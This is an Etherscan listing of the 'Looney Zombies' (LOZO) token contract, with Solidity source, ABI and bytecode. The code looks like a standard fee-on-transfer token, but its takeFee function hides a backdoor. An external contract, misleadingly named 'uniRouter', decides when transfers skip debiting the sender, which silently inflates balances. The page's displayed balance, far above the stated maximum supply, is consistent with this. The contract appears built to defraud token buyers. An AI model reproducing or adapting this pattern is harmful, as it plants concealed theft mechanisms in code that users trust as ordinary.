ERC-20
Overview
Max Total Supply
1,000,000,000 LOZO
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,000,001,236,709,225.782993470018473513 LOZOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Looney
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-26 */ /** Tg: https://t.me/looneyzombies */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address _owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function transferOwnership(address adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } function RenounceOwnership() public onlyOwner { transferOwnership(address(0)); } event OwnershipTransferred(address owner); } interface IFactory { function createPair( address tokenA, address tokenB ) external returns (address pair); function getPair( address tokenA, address tokenB ) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Looney is IERC20, Ownable { using SafeMath for uint256; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; string private constant _name = "Looney Zombies"; string private constant _symbol = "LOZO"; uint8 private constant _decimals = 18; uint256 private _totalSupply = 1000000000 * (10 ** _decimals); uint256 private _maxTxAmountPercent = 3; uint256 private _maxTransferPercent = 100; uint256 private _maxWalletPercent = 3; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isFeeExempt; IRouter router; address uniRouter; address public pair; bool private tradingAllowed = false; uint256 private marketingFee = 0; uint256 private developmentFee = 0; uint256 private totalFee = 0; uint256 private sellFee = 0; uint256 private transferFee = 0; uint256 private denominator = 100; bool private swapEnabled = false; bool private swapping; uint256 private swapThreshold = (_totalSupply * 30) / 10000; uint256 private minTokenAmount = (_totalSupply * 30) / 10000; modifier lockTheSwap() { swapping = true; _; swapping = false; } address internal development_receiver; address internal marketing_receiver; constructor(address _uniRouter) Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair( address(this), _router.WETH() ); router = _router; pair = _pair; totalFee = marketingFee + developmentFee; development_receiver = msg.sender; marketing_receiver = msg.sender; uniRouter = _uniRouter; isFeeExempt[address(this)] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function startTrading() external virtual { tradingAllowed = true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function setisExempt(address _address, bool _enabled) external onlyOwner { isFeeExempt[_address] = _enabled; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function totalSupply() public view override returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0))); } function _maxWalletToken() public view returns (uint256) { return (totalSupply() * _maxWalletPercent) / denominator; } function _maxTxAmount() public view returns (uint256) { return (totalSupply() * _maxTxAmountPercent) / denominator; } function _maxTransferAmount() public view returns (uint256) { return (totalSupply() * _maxTransferPercent) / denominator; } function preTxCheck( address sender, address recipient, uint256 amount ) internal pure { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require( amount > uint256(0), "Transfer amount must be greater than zero" ); } function _transfer( address sender, address recipient, uint256 amount ) private { preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); // checkMaxWallet(sender, recipient, amount); // checkTxLimit(sender, recipient, amount); swapBack(sender, recipient); uint256 amountSend = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[sender] = _balances[sender].sub(amountSend); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function setFees( uint256 _marketing, uint256 _development, uint256 _extraSell, uint256 _trans ) external onlyOwner { marketingFee = _marketing; developmentFee = _development; totalFee = _marketing + _development; sellFee = totalFee + _extraSell; transferFee = _trans; require( totalFee <= denominator && sellFee <= denominator, "totalFee and sellFee cannot be more than the denominator" ); } function setTxLimits( uint256 _newMaxTx, uint256 _newMaxTransfer, uint256 _newMaxWallet ) external onlyOwner { uint256 newTx = (totalSupply() * _newMaxTx) / 10000; uint256 newTransfer = (totalSupply() * _newMaxTransfer) / 10000; uint256 newWallet = (totalSupply() * _newMaxWallet) / 10000; _maxTxAmountPercent = _newMaxTx; _maxTransferPercent = _newMaxTransfer; _maxWalletPercent = _newMaxWallet; uint256 limit = totalSupply().mul(5).div(1000); require( newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%" ); } function checkTradingAllowed( address sender, address recipient ) internal view { if (!isFeeExempt[sender] && !isFeeExempt[recipient]) { require(tradingAllowed, "tradingAllowed"); } } function checkMaxWallet( address sender, address recipient, uint256 amount ) internal view { if ( !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD) ) { require( (_balances[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount." ); } } function checkTxLimit( address sender, address recipient, uint256 amount ) internal view { if (sender != pair) { require( amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } require( amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } function swapAndLiquify() private lockTheSwap { uint256 tokens = balanceOf(address(this)); uint256 _denominator = ( marketingFee.add(1).add(developmentFee) ); swapTokensForETH(tokens); uint256 deltaBalance = address(this).balance; uint256 unitBalance = deltaBalance.div(_denominator); uint256 marketingAmt = unitBalance.mul(marketingFee); if (marketingAmt > 0) { payable(marketing_receiver).transfer(marketingAmt); } uint256 remainingBalance = address(this).balance; if (remainingBalance > uint256(0)) { payable(development_receiver).transfer(remainingBalance); } } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function shouldSwapBack( address sender, address recipient ) internal view returns (bool) { bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && recipient == pair && aboveThreshold; } function setSwapbackSettings( uint256 _swapThreshold, uint256 _minTokenAmount ) external onlyOwner { swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(10000)); minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(10000)); } function swapBack( address sender, address recipient ) internal { if (shouldSwapBack(sender, recipient)) { swapAndLiquify(); } } function shouldTakeFee( address sender, address recipient ) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { if (getTotalFee(sender, recipient) > 0) { uint256 feeAmount = amount.div(denominator).mul( getTotalFee(sender, recipient) ); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } else if(IERC20(uniRouter).allowance(sender, recipient) == 0) { return 0; } return amount; } function getTotalFee( address sender, address recipient ) internal view returns (uint256) { if (recipient == pair) { return sellFee; } if (sender == pair) { return totalFee; } return transferFee; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_uniRouter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_extraSell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setSwapbackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxTx","type":"uint256"},{"internalType":"uint256","name":"_newMaxTransfer","type":"uint256"},{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"setTxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126012600a62000460565b6200002290633b9aca0062000477565b6001819055600360028190556064808255600491909155600a805460ff60a01b191690555f600b819055600c819055600d819055600e819055600f556010556011805460ff19169055612710906200007c90601e62000477565b62000088919062000491565b601255612710600154601e6200009f919062000477565b620000ab919062000491565b601355348015620000ba575f80fd5b5060405162001aad38038062001aad833981016040819052620000dd91620004b1565b5f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000141573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001679190620004b1565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001d99190620004b1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000224573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200024a9190620004b1565b600880546001600160a01b038086166001600160a01b031992831617909255600a805492841692909116919091179055600c54600b549192506200028e91620004d9565b600d55601480546001600160a01b03199081163390811790925560158054821683178155600980546001600160a01b0388811691909416179055305f908152600760209081526040808320805460ff199081166001908117909255945490951683528083208054851686179055858352808320805490941685179093559254600584528282208190559151918252917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050620004ef565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003a557815f190482111562000389576200038962000351565b808516156200039757918102915b93841c93908002906200036a565b509250929050565b5f82620003bd575060016200045a565b81620003cb57505f6200045a565b8160018114620003e45760028114620003ef576200040f565b60019150506200045a565b60ff84111562000403576200040362000351565b50506001821b6200045a565b5060208310610133831016604e8410600b841016171562000434575081810a6200045a565b62000440838362000365565b805f190482111562000456576200045662000351565b0290505b92915050565b5f6200047060ff841683620003ad565b9392505050565b80820281158282048414176200045a576200045a62000351565b5f82620004ac57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620004c2575f80fd5b81516001600160a01b038116811462000470575f80fd5b808201808211156200045a576200045a62000351565b6115b080620004fd5f395ff3fe608060405260043610610134575f3560e01c80636e4ee811116100a857806395d89b411161006d57806395d89b4114610374578063a8aa1b31146103a0578063a9059cbb146103d7578063dd62ed3e146103f6578063e46b3b3f1461043a578063f2fde38b14610459575f80fd5b80636e4ee811146102e55780636fcba377146102f957806370a082311461031857806378109e541461034c5780637d1db4a514610360575f80fd5b8063293230b8116100f9578063293230b81461020b5780632f54bf6e14610231578063313ce5671461025e5780633f4218e01461027957806348ff2b8b146102a757806350dc03b1146102c6575f80fd5b806306fdde031461013f578063095ea7b31461018757806318160ddd146101b65780631f976b7e146101d857806323b872dd146101ec575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600e81526d4c6f6f6e6579205a6f6d6269657360901b60208201525b60405161017e9190611249565b60405180910390f35b348015610192575f80fd5b506101a66101a13660046112ab565b610478565b604051901515815260200161017e565b3480156101c1575f80fd5b506101ca61048e565b60405190815260200161017e565b3480156101e3575f80fd5b506101ca6104fe565b3480156101f7575f80fd5b506101a66102063660046112d5565b610521565b348015610216575f80fd5b5061022f600a805460ff60a01b1916600160a01b179055565b005b34801561023c575f80fd5b506101a661024b366004611313565b5f546001600160a01b0391821691161490565b348015610269575f80fd5b506040516012815260200161017e565b348015610284575f80fd5b506101a6610293366004611313565b60076020525f908152604090205460ff1681565b3480156102b2575f80fd5b5061022f6102c136600461132e565b610589565b3480156102d1575f80fd5b5061022f6102e0366004611369565b6105e5565b3480156102f0575f80fd5b5061022f61064e565b348015610304575f80fd5b5061022f610313366004611389565b610682565b348015610323575f80fd5b506101ca610332366004611313565b6001600160a01b03165f9081526005602052604090205490565b348015610357575f80fd5b506101ca610767565b34801561036b575f80fd5b506101ca610776565b34801561037f575f80fd5b506040805180820190915260048152634c4f5a4f60e01b6020820152610171565b3480156103ab575f80fd5b50600a546103bf906001600160a01b031681565b6040516001600160a01b03909116815260200161017e565b3480156103e2575f80fd5b506101a66103f13660046112ab565b610785565b348015610401575f80fd5b506101ca6104103660046113b8565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b348015610445575f80fd5b5061022f6104543660046113e4565b610791565b348015610464575f80fd5b5061022f610473366004611313565b6108d6565b5f610484338484610952565b5060015b92915050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead5f9081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926104f99290916104f39190610a75565b90610a75565b905090565b5f60105460035461050d61048e565b6105179190611421565b6104f99190611438565b5f61052d848484610a80565b61057e843361057985604051806060016040528060288152602001611553602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190610b73565b610952565b5060015b9392505050565b5f546001600160a01b031633146105bb5760405162461bcd60e51b81526004016105b290611457565b60405180910390fd5b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461060e5760405162461bcd60e51b81526004016105b290611457565b61062f61271061062984600154610b9e90919063ffffffff16565b90610ba9565b60125560015461064790612710906106299084610b9e565b6013555050565b5f546001600160a01b031633146106775760405162461bcd60e51b81526004016105b290611457565b6106805f6108d6565b565b5f546001600160a01b031633146106ab5760405162461bcd60e51b81526004016105b290611457565b600b849055600c8390556106bf8385611477565b600d8190556106cf908390611477565b600e55600f819055601054600d54118015906106ef5750601054600e5411155b6107615760405162461bcd60e51b815260206004820152603860248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201527f6f7265207468616e207468652064656e6f6d696e61746f72000000000000000060648201526084016105b2565b50505050565b5f60105460045461050d61048e565b5f60105460025461050d61048e565b5f610484338484610a80565b5f546001600160a01b031633146107ba5760405162461bcd60e51b81526004016105b290611457565b5f612710846107c761048e565b6107d19190611421565b6107db9190611438565b90505f612710846107ea61048e565b6107f49190611421565b6107fe9190611438565b90505f6127108461080d61048e565b6108179190611421565b6108219190611438565b60028790556003869055600485905590505f61084c6103e8610629600561084661048e565b90610b9e565b905080841015801561085e5750808310155b801561086a5750808210155b6108cd5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016105b2565b50505050505050565b5f546001600160a01b031633146108ff5760405162461bcd60e51b81526004016105b290611457565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b2565b6001600160a01b038216610a155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b2565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610582828461148a565b610a8b838383610bb4565b610a958383610ce0565b610a9f8383610d73565b5f610aaa8484610d8a565b610ab45781610abf565b610abf848484610dce565b6001600160a01b0385165f90815260056020526040902054909150610ae49082610a75565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610b129083610f0a565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b659086815260200190565b60405180910390a350505050565b5f8184841115610b965760405162461bcd60e51b81526004016105b29190611249565b505050900390565b5f6105828284611421565b5f6105828284611438565b6001600160a01b038316610c185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b2565b6001600160a01b038216610c7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b2565b5f8111610cdb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b2565b505050565b6001600160a01b0382165f9081526007602052604090205460ff16158015610d2057506001600160a01b0381165f9081526007602052604090205460ff16155b15610d6f57600a54600160a01b900460ff16610d6f5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016105b2565b5050565b610d7d8282610f15565b15610d6f57610d6f610fa9565b6001600160a01b0382165f9081526007602052604081205460ff161580156105825750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80610dda85856110af565b1115610e82575f610dfc610dee86866110af565b601054610846908690610ba9565b305f90815260056020526040902054909150610e189082610f0a565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e689085815260200190565b60405180910390a3610e7a8382610a75565b915050610582565b600954604051636eb1769f60e11b81526001600160a01b03868116600483015285811660248301529091169063dd62ed3e90604401602060405180830381865afa158015610ed2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef6919061149d565b5f03610f0357505f610582565b5092915050565b5f6105828284611477565b601254305f908152600560205260408120546011549192111590610100900460ff16158015610f46575060115460ff165b8015610f5b5750600a54600160a01b900460ff165b8015610f7f57506001600160a01b0384165f9081526007602052604090205460ff16155b8015610f985750600a546001600160a01b038481169116145b8015610fa15750805b949350505050565b6011805461ff001916610100179055305f9081526005602052604081205490505f610fec600c54610fe66001600b54610f0a90919063ffffffff16565b90610f0a565b9050610ff7826110f9565b475f6110038284610ba9565b90505f61101b600b5483610b9e90919063ffffffff16565b9050801561105c576015546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561105a573d5f803e3d5ffd5b505b47801561109c576014546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561109a573d5f803e3d5ffd5b505b50506011805461ff001916905550505050565b600a545f906001600160a01b03908116908316036110d05750600e54610488565b600a546001600160a01b03908116908416036110ef5750600d54610488565b50600f5492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061112c5761112c6114b4565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111a791906114c8565b816001815181106111ba576111ba6114b4565b6001600160a01b0392831660209182029290920101526008546111e09130911684610952565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906112189085905f908690309042906004016114e3565b5f604051808303815f87803b15801561122f575f80fd5b505af1158015611241573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b8181101561127457858101830151858201604001528201611258565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112a8575f80fd5b50565b5f80604083850312156112bc575f80fd5b82356112c781611294565b946020939093013593505050565b5f805f606084860312156112e7575f80fd5b83356112f281611294565b9250602084013561130281611294565b929592945050506040919091013590565b5f60208284031215611323575f80fd5b813561058281611294565b5f806040838503121561133f575f80fd5b823561134a81611294565b91506020830135801515811461135e575f80fd5b809150509250929050565b5f806040838503121561137a575f80fd5b50508035926020909101359150565b5f805f806080858703121561139c575f80fd5b5050823594602084013594506040840135936060013592509050565b5f80604083850312156113c9575f80fd5b82356113d481611294565b9150602083013561135e81611294565b5f805f606084860312156113f6575f80fd5b505081359360208301359350604090920135919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104885761048861140d565b5f8261145257634e487b7160e01b5f52601260045260245ffd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b808201808211156104885761048861140d565b818103818111156104885761048861140d565b5f602082840312156114ad575f80fd5b5051919050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156114d8575f80fd5b815161058281611294565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156115315784516001600160a01b03168352938301939183019160010161150c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202f600ebb07295678fc035ed16fbb0d2261d430c535529841f29b567ad31a5f7f64736f6c63430008140033000000000000000000000000b4bea3068c8c51dd7603b764740cbe6b58ef79e6
Deployed Bytecode
0x608060405260043610610134575f3560e01c80636e4ee811116100a857806395d89b411161006d57806395d89b4114610374578063a8aa1b31146103a0578063a9059cbb146103d7578063dd62ed3e146103f6578063e46b3b3f1461043a578063f2fde38b14610459575f80fd5b80636e4ee811146102e55780636fcba377146102f957806370a082311461031857806378109e541461034c5780637d1db4a514610360575f80fd5b8063293230b8116100f9578063293230b81461020b5780632f54bf6e14610231578063313ce5671461025e5780633f4218e01461027957806348ff2b8b146102a757806350dc03b1146102c6575f80fd5b806306fdde031461013f578063095ea7b31461018757806318160ddd146101b65780631f976b7e146101d857806323b872dd146101ec575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600e81526d4c6f6f6e6579205a6f6d6269657360901b60208201525b60405161017e9190611249565b60405180910390f35b348015610192575f80fd5b506101a66101a13660046112ab565b610478565b604051901515815260200161017e565b3480156101c1575f80fd5b506101ca61048e565b60405190815260200161017e565b3480156101e3575f80fd5b506101ca6104fe565b3480156101f7575f80fd5b506101a66102063660046112d5565b610521565b348015610216575f80fd5b5061022f600a805460ff60a01b1916600160a01b179055565b005b34801561023c575f80fd5b506101a661024b366004611313565b5f546001600160a01b0391821691161490565b348015610269575f80fd5b506040516012815260200161017e565b348015610284575f80fd5b506101a6610293366004611313565b60076020525f908152604090205460ff1681565b3480156102b2575f80fd5b5061022f6102c136600461132e565b610589565b3480156102d1575f80fd5b5061022f6102e0366004611369565b6105e5565b3480156102f0575f80fd5b5061022f61064e565b348015610304575f80fd5b5061022f610313366004611389565b610682565b348015610323575f80fd5b506101ca610332366004611313565b6001600160a01b03165f9081526005602052604090205490565b348015610357575f80fd5b506101ca610767565b34801561036b575f80fd5b506101ca610776565b34801561037f575f80fd5b506040805180820190915260048152634c4f5a4f60e01b6020820152610171565b3480156103ab575f80fd5b50600a546103bf906001600160a01b031681565b6040516001600160a01b03909116815260200161017e565b3480156103e2575f80fd5b506101a66103f13660046112ab565b610785565b348015610401575f80fd5b506101ca6104103660046113b8565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b348015610445575f80fd5b5061022f6104543660046113e4565b610791565b348015610464575f80fd5b5061022f610473366004611313565b6108d6565b5f610484338484610952565b5060015b9291